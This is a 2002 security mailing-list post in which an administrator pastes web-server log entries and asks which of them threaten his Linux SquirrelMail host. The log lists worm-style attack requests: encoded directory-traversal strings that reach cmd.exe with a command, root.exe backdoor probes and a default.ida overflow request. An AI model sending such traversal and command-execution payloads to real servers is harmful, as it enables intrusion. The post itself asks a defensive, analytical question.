[Dshield] Re: Any threats here?

Michael Johnson mike at holmesandturner.com
Tue Jun 25 14:16:30 GMT 2002


Hi all.
I'm not in panic mode but below are the stats for our "off-site" web-hosted e-mail.  It's a linux box using SquirrelMail version
1.0.6;  and Apache (ver unk).  Telnet and ftp have been disabled, and the only I can get a shell is via SSH2 (latest ver).  I see
most of these are trying to hit NT boxes but are there any which I should be concerned about?


REPORTED FROM SITE ACTIVITY ERROR LOG:
cat /var/log/websvr/dweeb.log | awk '{print $1}'

/scripts/..%255c../winnt/system32/cmd.exe
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
/scripts/..%5c../winnt/system32/cmd.exe
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir
/scripts/root.exe
/scripts/root.exe?/c+dir
/MSADC/root.exe
/MSADC/root.exe?/c+dir
/scripts/..%c0%af../winnt/system32/cmd.exe
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
/d/winnt/system32/cmd.exe
/d/winnt/system32/cmd.exe?/c+dir
/c/winnt/system32/cmd.exe
/c/winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.e...
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.e...
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.e...
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.e...
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%...
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%...
/scripts/..%c1%1c../winnt/system32/cmd.exe
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
/scripts/winnt/system32/cmd.exe
/scripts/winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%9c../winnt/system32/cmd.exe
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
/scripts/..%252f../winnt/system32/cmd.exe
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir
/default.ida
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN...
/scripts/..%255c%255c../winnt/system32/cmd.exe
/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir
/scripts/.%252e/.%252e/winnt/system32/cmd.exe
/robots.txt
/users
/squirrel
/cobalt-images/welcome2.gif
/favicon.ico
/request/failed/index_failed.htm
/~administration
/cgi-bin/formmail.cgi
/administration
/cgi-bin/formmail.pl


Thanks,

Mike Johnson




More information about the list mailing list